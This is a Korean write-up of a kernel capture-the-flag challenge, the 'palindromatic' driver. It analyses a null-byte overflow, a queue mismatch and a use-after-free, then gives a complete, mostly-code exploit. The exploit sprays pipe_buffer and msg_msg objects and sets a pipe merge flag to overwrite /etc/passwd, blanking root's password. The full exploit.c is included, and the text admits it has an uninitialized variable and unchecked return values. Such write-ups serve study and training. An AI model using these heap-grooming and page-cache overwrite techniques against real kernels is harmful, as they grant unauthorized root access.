palindromatic
취약점 분석
/dev/palindromatic은 요청 포인터를 incoming_queue와 outgoing_queue에 보관한다. 요청은 병합이 금지된 전용 palindromatic 슬랩 캐시에서 할당된다.
pm_cache = kmem_cache_create("palindromatic", TARGET_SZ, __alignof__(request_t),
SLAB_ACCOUNT | SLAB_PANIC | SLAB_HWCACHE_ALIGN | SLAB_NO_MERGE, NULL);request_t의 크기는 0x400바이트다. 이 환경에서는 0x2000바이트 슬랩에 요청 8개가 들어간다.
request_t
+0x000 type 8바이트
+0x008 magic 8바이트
+0x010 str[0x1f8] 504바이트
+0x208 sanstr[0x1f8] 504바이트
+0x400 다음 객체의 type1. pm_sanitize_request의 1바이트 널 OOB 쓰기
pm_add_request는 사용자 버퍼에서 STRING_SZ = 0x1f8바이트를 복사하지만 널 종료를 강제하지 않는다. 입력 504바이트가 모두 알파벳이면 pm_sanitize_request의 ptr은 0x1f8이 된다. temp_buffer에는 널 종료 공간이 있지만, 목적지 req->sanstr의 크기는 정확히 0x1f8바이트다.
int ptr = 0;
for(int i = 0; i < STRING_SZ; i++)
{
if(!req->str[i]) break;
if(req->str[i] > 0x60 && req->str[i] < 0x7b)
temp_buffer[ptr++] = req->str[i]-0x20;
else if(req->str[i] > 0x40 && req->str[i] < 0x5b)
temp_buffer[ptr++] = req->str[i];
else continue;
}
temp_buffer[ptr] = 0;
strcpy(req->sanstr, temp_buffer);strcpy는 알파벳 504바이트와 종료 널 1바이트를 복사한다. 마지막 널은 sanstr 끝을 1바이트 넘어 물리적으로 인접한 다음 객체의 type 첫 바이트를 0으로 만든다. 작은 엔디언에서 RAW = 0x1337은 0x1300이 된다. 두 객체가 인접하지 않으면 같은 효과가 나타나지 않으므로 익스플로잇은 여러 요청을 할당한다.
2. pm_process_request의 큐 소유권 불일치
pm_process_request는 타입을 확인하기 전에 요청 포인터를 outgoing_queue에 넣는다. 그러나 incoming_queue에서 제거하는 코드는 RAW와 SANITIZED 분기에만 있다.
idx = pm_queue_enqueue(&outgoing_queue, req);
if(idx < 0) goto end;
memset(temp_buffer, 0x0, STRING_SZ);
if(req->type == RAW)
{
for(int i = (len/2)-1; i > -1; i--)
{
if(req->str[i] < 0x41 || req->str[i] > 0x5a) break;
temp_buffer[i] = req->str[i];
}
temp_buffer[len/2] = 0;
if(strcmp(temp_buffer, &req->str[len/2]+len%2)) req->type = NONPALINDROME;
else req->type = PALINDROME;
pm_queue_dequeue(&incoming_queue);
}
if(req->type == SANITIZED)
{
for(int i = (len/2)-1; i > -1; i--) temp_buffer[i] = req->sanstr[i];
temp_buffer[len/2] = 0;
if(strcmp(temp_buffer, &req->sanstr[len/2]+len%2)) req->type = NONPALINDROME;
else req->type = PALINDROME;
pm_queue_dequeue(&incoming_queue);
}type = 0x1300인 요청 P는 outgoing에 추가되지만 incoming의 맨 앞에 남는다. PROCESS를 반복하면 같은 P 포인터를 outgoing에 여러 번 넣을 수 있다. 익스플로잇은 중복 enqueue를 한 번만 이용하여 두 큐가 P를 동시에 가리키게 한다.
PM_QUERY는 (outgoing의 빈 칸 수 << 16) | incoming의 빈 칸 수를 반환한다. 상위 16비트는 줄어드는데 하위 16비트가 그대로라면 P가 outgoing에 추가되고도 incoming에서 빠지지 않은 것이다.
3. pm_reap_request와 pm_reset_request의 해제 후 사용
outgoing의 P를 REAP하면 객체가 해제된다. 하지만 incoming에는 같은 포인터가 남아 있다. RESET은 이 포인터의 유효성이나 magic을 검사하지 않고 type을 읽고 쓴다.
static noinline long pm_reap_request(void)
{
request_t *req = pm_queue_dequeue(&outgoing_queue);
if(!req) return -1;
if(req->magic != magic) return -1;
long ret = req->type==PALINDROME?1:0;
kfree(req);
return ret;
}static noinline long pm_reset_request(void)
{
request_t *req = pm_queue_dequeue(&incoming_queue);
if(!req) return -1;
if(req->type != RAW)
{
req->type = RAW;
memset(req->sanstr, 0x0, sizeof(req->sanstr));
pm_queue_enqueue(&incoming_queue, req);
}
else
{
kfree(req);
}
return 0;
}첫 RESET은 해제된 P를 수정하고 incoming의 뒤로 옮긴다. 다른 요청을 모두 해제한 뒤 P의 페이지를 다른 캐시가 재사용하면, 이후 RESET 두 번으로 새 객체의 메모리를 수정하고 해제할 수 있다. 여기서 핵심은 같은 객체를 즉시 두 번 kfree하는 것이 아니라, 오래된 큐 포인터로 재할당된 객체를 해제하는 것이다.
Exploit 과정
Step 1: 요청 할당과 널 OOB
0x100개 요청에 널 없는 알파벳 504바이트를 넣고 첫 요청을 SANITIZE한다. SANITIZE는 처리한 첫 요청을 incoming의 뒤로 옮기므로 손상된 P의 큐 위치는 힙 배치에 따라 달라진다.
memset(buf, 0x41, 0x1f8);
struct req r;
r.buf = buf;
for (int i = 0; i < 0x100; i++)
ioctl(fd, PM_ADD, &r);
ioctl(fd, PM_SANITIZE, NULL);Step 2: 손상된 P 찾기
PROCESS 후 QUERY의 하위 16비트가 더 이상 증가하지 않는 위치를 cnt로 기록한다. 이때 P는 incoming에 남고 outgoing에도 들어갔다.
for (cnt = 0; cnt < 0x100; cnt++)
{
ioctl(fd, PM_PROCESS, NULL);
ret1 = ioctl(fd, PM_QUERY, NULL);
printf("palindrome %d: 0x%lx\n", cnt, ret1);
if ((ret1 & 0xffff) == (ret2 & 0xffff))
{
info("null byte oob write detected at palindrome %d", cnt);
break;
}
ret2 = ret1;
}Step 3: P 포인터를 남기고 요청 슬랩 비우기
정상 요청 cnt개를 REAP한 뒤 P를 한 번 REAP한다. P는 해제되지만 incoming 포인터는 남는다. RESET으로 그 포인터를 큐 뒤로 보낸 뒤, 나머지 요청을 PROCESS와 REAP로 모두 해제한다. 비어 있는 palindromatic 슬랩 일부가 buddy allocator로 돌아갈 수 있다.
for (int i = 0; i < cnt; i++)
ioctl(fd, PM_REAP, NULL);
ioctl(fd, PM_REAP, NULL);
ioctl(fd, PM_RESET, NULL);
for (int i = 0; i < 0x100 - cnt - 1; i++)
ioctl(fd, PM_PROCESS, NULL);
for (int i = 0; i < 0x100 - cnt - 1; i++)
ioctl(fd, PM_REAP, NULL);Step 4: 파이프 배열로 반환된 페이지 재사용
파이프 용량을 0x10000바이트로 맞추면 4KB 페이지 기준 pipe_buffer 슬롯 16개가 필요하다. 슬롯 하나는 0x28바이트이므로 배열 크기는 0x280바이트이며 1KB 할당 등급을 사용한다. 파이프 256개를 만들고 AAAA를 써서 배열을 사용 상태로 만든다. 전용 palindromatic 캐시 객체를 직접 공유하는 것이 아니라, 반환된 슬랩 페이지가 buddy를 거쳐 파이프 배열용 캐시에 재할당되는 것을 노린다.
int PIPED_SIZE = 0x100;
int pipefd[PIPED_SIZE][2];
for (int i = 0; i < PIPED_SIZE; i++)
{
if (pipe(pipefd[i]) == -1)
{
perror("pipe");
return 1;
}
fcntl(pipefd[i][0], F_SETPIPE_SZ, 0x1000 * 0x10);
if (fcntl(pipefd[i][0], F_GETPIPE_SZ) != 0x1000 * 0x10)
{
perror("fcntl");
return 1;
}
}
for (int i = 0; i < PIPED_SIZE; i++)
{
write(pipefd[i][1], "AAAA", 4);
}Step 5: 오래된 P 포인터로 파이프 배열 해제
이제 P 주소에는 파이프 배열이 있어야 한다. RESET 첫 호출은 배열의 첫 page 포인터를 RAW로 바꾸고 P를 다시 incoming에 넣는다. 두 번째 호출은 kfree(P)로 그 배열을 해제한다. 임시 파이프 64개에 BBBB를 써서 같은 주소를 다시 받을 기회를 만든다.
원래 파이프를 읽었을 때 BBBB가 나오면 원래 파이프와 임시 파이프가 배열을 공유하게 된 것이다. 타겟 파이프에 CCCC를 쓰고 읽어 링의 다음 기록 위치를 슬롯 2로 옮긴다.
ioctl(fd, PM_RESET, NULL);
ioctl(fd, PM_RESET, NULL);
int TMP_PIPED_SIZE = 0x40;
int tmp_pipefd[TMP_PIPED_SIZE][2];
for (int i = 0; i < TMP_PIPED_SIZE; i++)
{
if (pipe(tmp_pipefd[i]) == -1)
{
perror("pipe");
return 1;
}
fcntl(tmp_pipefd[i][0], F_SETPIPE_SZ, 0x1000 * 0x10);
if (fcntl(tmp_pipefd[i][0], F_GETPIPE_SZ) != 0x1000 * 0x10)
{
perror("fcntl");
return 1;
}
}
for (int i = 0; i < TMP_PIPED_SIZE; i++)
{
write(tmp_pipefd[i][1], "BBBB", 4);
}int target = -1;
for (int i = 0; i < PIPED_SIZE; i++)
{
char data[0x4];
ssize_t n = read(pipefd[i][0], data, 4);
if (memcmp(data, "BBBB", 4) == 0 && n == 4)
{
target = i;
info("found the target pipe_buffer at index %d", target);
break;
}
}
write(pipefd[target][1], "CCCC", 4);
read(pipefd[target][0], buf, 4);Step 6: msg_msg로 파이프 배열 겹치기
타겟 원래 파이프는 열어 두어 P를 가리키는 포인터를 보존한다. 다른 원래 파이프와 임시 파이프는 닫아 해당 배열을 해제한다. msg_msg의 커널 헤더는 0x30바이트, 메시지 본문은 0x3d0바이트이므로 전체 요청 크기는 0x400바이트다. msgsnd를 반복해 P 주소를 메시지가 재사용하게 한다.
for (int i = 0; i < PIPED_SIZE; i++)
{
if (target == i)
continue;
close(pipefd[i][0]);
close(pipefd[i][1]);
}
for (int i = 0; i < TMP_PIPED_SIZE; i++)
{
close(tmp_pipefd[i][0]);
close(tmp_pipefd[i][1]);
}
int MSG_SIZE = 0x100;
int msgid[MSG_SIZE];
for (int i = 0; i < MSG_SIZE; i++)
{
msgid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
msg.mtype = 1;
memset(msg.mtext, 0x43, sizeof(msg.mtext));
msgsnd(msgid[i], &msg, sizeof(msg.mtext), 0);
}Step 7: splice로 페이지 캐시 버퍼를 만들고 메시지에서 찾기
타겟 파이프의 다음 기록 위치는 슬롯 2다. 슬롯 2는 P의 +0x50에서 시작한다. msg_msg 본문은 P의 +0x30에서 시작하므로 슬롯 2의 page, offset/len, ops, flags는 본문 기준 각각 +0x20, +0x28, +0x30, +0x38에 놓인다.
/etc/passwd에서 1바이트를 splice하면 슬롯 2의 page와 page_cache_pipe_buf_ops가 메시지 본문을 덮는다. offset=0, len=1의 묶인 값 0x100000000을 기준으로 겹친 메시지를 찾는다. msgrcv는 읽은 메시지를 큐에서 제거하므로 이 시점에 P는 다시 해제된다.
int passwd_fd = open("/etc/passwd", O_RDONLY);
off_t offset = 0;
splice(passwd_fd, &offset, pipefd[target][1], NULL, 1, 0);
int target_msgid = -1;
for (int i = 0; i < MSG_SIZE; i++)
{
msgrcv(msgid[i], &msg, sizeof(msg.mtext), 1, IPC_NOWAIT);
uint64_t flag = *(uint64_t *)(msg.mtext + 0x28);
if (flag == 0x100000000)
{
target_msgid = msgid[i];
info("found the target msg_msg struct at index %d", i);
break;
}
}코드의 지역 변수 flag는 이름과 달리 pipe_buffer.flags가 아니라 offset/len의 묶인 값이다.
Step 8: 병합 플래그 설정과 /etc/passwd 덮어쓰기
PIPE_BUF_FLAG_CAN_MERGE = 0x10을 슬롯 2의 flags에 설정한다. 본문 기준 위치는 +0x38이다. msgrcv가 가져온 메시지 본문에는 page와 ops가 그대로 들어 있으므로 해당 내용을 유지하면서 플래그만 바꿔 메시지를 다시 뿌린다. 타겟 파이프에 쓰면 기존 페이지 캐시 버퍼에 데이터가 병합되어 /etc/passwd의 파일 내용이 바뀐다.
splice가 파일 오프셋 0에서 1바이트를 담았으므로 다음 쓰기는 오프셋 1부터 시작한다. 파일의 첫 글자 r은 남고 oot::0:0:root:/root:/bin/sh\n을 써서 root 항목의 비밀번호 필드를 비운다.
*(uint64_t *)(msg.mtext + 0x38) = 0x10;
for (int i = 0; i < MSG_SIZE; i++)
{
msgsnd(msgid[i], &msg, sizeof(msg.mtext), 0);
}
char *payload = "oot::0:0:root:/root:/bin/sh\n";
write(pipefd[target][1], payload, strlen(payload));
system("cat /etc/passwd");
system("su -c 'cat /root/flag'");힙 재사용은 확률적이다. 아래 코드는 요청한 exploit.c를 수정하지 않고 그대로 수록한다. 코드에는 초기화되지 않은 ret2와 일부 시스템 호출의 반환값 미검사도 남아 있으므로, 출력 문구만으로 각 단계의 성공을 단정해서는 안 된다.
Exploit Code
#define _GNU_SOURCE
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
#define PM_ADD 0xb10500a
#define PM_SANITIZE 0xb10500b
#define PM_RESET 0xb10500c
#define PM_PROCESS 0xb10500d
#define PM_REAP 0xb10500e
#define PM_QUERY 0xb10500f
int fd;
char buf[0x1f8];
struct req
{
char *buf;
};
struct msg_buf
{
long mtype;
char mtext[0x400 - 0x30];
};
struct msg_buf msg;
int main()
{
pin_cpu(0);
important("happy hacking!");
// open the /dev/palindromatic device
fd = open("/dev/palindromatic", O_RDWR);
if (fd < 0)
{
perror("open");
return 1;
}
info("opened /dev/palindromatic");
// Add 0x100 new palindromes without null byte termination
memset(buf, 0x41, 0x1f8);
struct req r;
r.buf = buf;
for (int i = 0; i < 0x100; i++)
ioctl(fd, PM_ADD, &r);
info("added 0x100 new palindromes");
// sanitize the palindromes for null byte oob write
ioctl(fd, PM_SANITIZE, NULL);
info("sanitized the palindromes");
// move to outgoing_queue and check the null byte oob write
uint64_t ret1, ret2, cnt = 0;
for (cnt = 0; cnt < 0x100; cnt++)
{
ioctl(fd, PM_PROCESS, NULL);
ret1 = ioctl(fd, PM_QUERY, NULL);
printf("palindrome %d: 0x%lx\n", cnt, ret1);
if ((ret1 & 0xffff) == (ret2 & 0xffff))
{
info("null byte oob write detected at palindrome %d", cnt);
break;
}
ret2 = ret1;
}
// kfree until target palindrome
for (int i = 0; i < cnt; i++)
ioctl(fd, PM_REAP, NULL);
info("freed 0 ~ %d palindromes", cnt - 1);
ioctl(fd, PM_REAP, NULL); // kfree the target palindrome but it will be still in the incoming_queue
info("freed the target palindrome %d", cnt);
// move target palindrome to back of incoming_queue
ioctl(fd, PM_RESET, NULL);
info("reset the incoming_queue");
// move every palindrome to outgoing_queue except the target palindrome
for (int i = 0; i < 0x100 - cnt - 1; i++)
ioctl(fd, PM_PROCESS, NULL);
info("moved %d palindromes to outgoing_queue", 0x100 - cnt - 1);
ret1 = ioctl(fd, PM_QUERY, NULL);
printf("palindrome %d: 0x%lx\n", cnt, ret1);
// free remaining requests so empty slab pages may return to the buddy allocator
for (int i = 0; i < 0x100 - cnt - 1; i++)
ioctl(fd, PM_REAP, NULL);
info("freed %d palindromes", 0x100 - cnt - 1);
// create pipe_buffer struct array for allocating a same slab page with the target palindrome from the buddy allocator
int PIPED_SIZE = 0x100;
int pipefd[PIPED_SIZE][2];
for (int i = 0; i < PIPED_SIZE; i++)
{
if (pipe(pipefd[i]) == -1)
{
perror("pipe");
return 1;
}
fcntl(pipefd[i][0], F_SETPIPE_SZ, 0x1000 * 0x10);
if (fcntl(pipefd[i][0], F_GETPIPE_SZ) != 0x1000 * 0x10)
{
perror("fcntl");
return 1;
}
}
info("created %d pipes", PIPED_SIZE);
// fill the pipe_buffer with "AAAA" for identifying the target structure
for (int i = 0; i < PIPED_SIZE; i++)
{
write(pipefd[i][1], "AAAA", 4);
}
info("filled the pipe_buffer with \"AAAA\"");
// free the target palindrome from the incoming_queue
ioctl(fd, PM_RESET, NULL); // make the type as RAW
ioctl(fd, PM_RESET, NULL); // free
// spray the pipe_buffer to allocate a same slab page with the target palindrome
int TMP_PIPED_SIZE = 0x40;
int tmp_pipefd[TMP_PIPED_SIZE][2];
for (int i = 0; i < TMP_PIPED_SIZE; i++)
{
if (pipe(tmp_pipefd[i]) == -1)
{
perror("pipe");
return 1;
}
fcntl(tmp_pipefd[i][0], F_SETPIPE_SZ, 0x1000 * 0x10);
if (fcntl(tmp_pipefd[i][0], F_GETPIPE_SZ) != 0x1000 * 0x10)
{
perror("fcntl");
return 1;
}
}
info("created %d temp pipes for spraying", TMP_PIPED_SIZE);
for (int i = 0; i < TMP_PIPED_SIZE; i++)
{
write(tmp_pipefd[i][1], "BBBB", 4);
}
info("sprayed the pipe_buffer with \"BBBB\"");
// check the target pipe_buffer struct
int target = -1;
for (int i = 0; i < PIPED_SIZE; i++)
{
char data[0x4];
ssize_t n = read(pipefd[i][0], data, 4);
if (memcmp(data, "BBBB", 4) == 0 && n == 4)
{
target = i;
info("found the target pipe_buffer at index %d", target);
break;
}
}
// move the target pipe_buffer's pointer to slot 2
write(pipefd[target][1], "CCCC", 4);
read(pipefd[target][0], buf, 4);
// free all the pipes
for (int i = 0; i < PIPED_SIZE; i++)
{
if (target == i)
continue;
close(pipefd[i][0]);
close(pipefd[i][1]);
}
for (int i = 0; i < TMP_PIPED_SIZE; i++)
{
close(tmp_pipefd[i][0]);
close(tmp_pipefd[i][1]);
}
info("freed all the pipes");
// spray the msg_msg struct to allocate a same slab page with the target pipe_buffer
int MSG_SIZE = 0x100;
int msgid[MSG_SIZE];
for (int i = 0; i < MSG_SIZE; i++)
{
msgid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
msg.mtype = 1;
memset(msg.mtext, 0x43, sizeof(msg.mtext));
msgsnd(msgid[i], &msg, sizeof(msg.mtext), 0);
}
info("sprayed %d msg_msg structs", MSG_SIZE);
// splice the target pipe_buffer to the /etc/passwd file
int passwd_fd = open("/etc/passwd", O_RDONLY);
off_t offset = 0;
splice(passwd_fd, &offset, pipefd[target][1], NULL, 1, 0);
info("spliced the target pipe_buffer to /etc/passwd");
// read msg to leak
int target_msgid = -1;
for (int i = 0; i < MSG_SIZE; i++)
{
msgrcv(msgid[i], &msg, sizeof(msg.mtext), 1, IPC_NOWAIT);
uint64_t flag = *(uint64_t *)(msg.mtext + 0x28);
if (flag == 0x100000000)
{
target_msgid = msgid[i];
info("found the target msg_msg struct at index %d", i);
break;
}
}
// overwrite the pipe_buffer's flag to 0x10
*(uint64_t *)(msg.mtext + 0x38) = 0x10;
for (int i = 0; i < MSG_SIZE; i++)
{
msgsnd(msgid[i], &msg, sizeof(msg.mtext), 0);
}
info("overwrote the pipe_buffer's flag to 0x10");
// overwrite /etc/passwd with "root::0:0:root:/root:/bin
char *payload = "oot::0:0:root:/root:/bin/sh\n";
write(pipefd[target][1], payload, strlen(payload));
info("overwrote /etc/passwd with \"root::0:0:root:/root:/bin/sh\"");
system("cat /etc/passwd");
system("su -c 'cat /root/flag'");
return 0;
}